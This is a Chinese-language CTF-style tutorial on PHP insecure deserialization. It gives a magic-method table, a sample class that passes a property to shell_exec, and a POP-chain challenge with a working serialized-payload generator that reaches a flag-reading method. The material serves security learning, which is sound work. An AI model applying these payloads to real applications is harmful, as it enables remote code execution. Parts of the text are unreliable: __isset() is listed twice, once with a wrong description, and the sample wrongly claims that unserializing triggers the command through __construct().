unserialize()可控则可导致特制的序列化数据经过其被反序列化后触发程序代码中的安全问题

常见魔术方法表

魔术方法 功能描述 使用场景
__construct() 类的构造函数,在对象创建时调用。 用于初始化对象属性或执行其他必要的初始化操作。
__destruct() 类的析构函数,在对象销毁时调用。 用于清理资源,如关闭文件、数据库连接或其他外部资源。
__call() 当调用类中不存在或不可访问的方法时自动调用。 用于动态处理方法调用,如方法名称和参数未知的情况。
__callStatic() 当调用类中不存在或不可访问的静态方法时自动调用。 用于动态处理静态方法调用,如静态方法名称和参数未知的情况。
__get() 当访问类中不存在或不可访问的属性时自动调用。 用于动态获取属性值,通常结合 __set() 使用。
__set() 当设置类中不存在或不可访问的属性时自动调用。 用于动态设置属性值,通常结合 __get() 使用。
__isset() 当使用 isset()empty() 检查类的属性时自动调用。 用于检查类的属性是否已设置。
__unset() 当使用 unset() 删除类的属性时自动调用。 用于删除类的属性,或在删除前执行额外的逻辑。
__toString() 当对象作为字符串使用时自动调用。 用于自定义对象的字符串表示,通常在 echoprint 中使用。
__invoke() 使对象可调用,允许对象像函数一样被调用。 用于实现对象的可调用性。
__clone() 当对象被克隆时自动调用。 用于自定义对象克隆时的行为。
__sleep() 当对象被序列化时自动调用,返回一个属性名的数组,表示需要序列化的属性。 用于在序列化对象之前决定哪些属性需要保存。
__wakeup() 当对象被反序列化时自动调用。 用于恢复对象的状态或重新初始化属性。
__set_state() 当使用 var_export() 导出对象时自动调用。 用于定义对象导出时的行为,可以控制对象的导出输出。
__isset() 当调用对象的某个属性时,PHP 会先检查该属性是否存在,如果不存在,自动调用该方法。 可以用来处理某些不存在的属性。

样例:

<?php
// 定义 Webshell 类,和目标代码中的 Webshell 类保持一致
class Webshell {
    public $cmd = 'echo "Hello World!"';

    public function __construct() {
        $this->init();
    }

    public function init() {
        if (!preg_match('/flag/i', $this->cmd)) {
            $this->exec($this->cmd);
        }
    }

    public function exec($cmd) {
        $result = shell_exec($cmd);
        echo $result;
    }
}

// 创建 Webshell 对象并修改 cmd 属性
$webshell = new Webshell();
$webshell->cmd = 'cat flag.txt';  // 修改 cmd 为你想执行的命令

// 序列化该对象
$serialized = serialize($webshell);

// 输出序列化后的字符串
echo $serialized;
?>

对照魔术方法表不难看出,这个样例通过修改类内置的cmd变量并将序列化的对象输出,再复用这个对象时,其中的echo "Hello World!"就会变成cat flag.txt

pop 链

看题:

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

不难看出入口点在w22m类的__destruct()魔术方法上,如果使得$this->w00m等于类w33m那么在输出的时候就会触发__toString()函数,这时候再控制w33m类中对象w22mGetflag则会调用w44m中的Getflag函数

那么就可以构造以下的payload

$a = new w22m();
$b = new w33m();
$c = new w44m();

$a -> w00m = $b;
$b -> w00m = $c;
$b -> w22m = "Getflag";

echo urlencode(serialize($a));

pop链简单来说就是,通过魔法函数多次触发横跨多个类进行连续的调用最终实现目标的一种方法。

注意:

序列化所"序列化"的并非类,更加并非代码,而是类中对象

反序列化可以简单理解为“对象状态的复用”更准确它是将之前序列化过的对象重新恢复为对象实例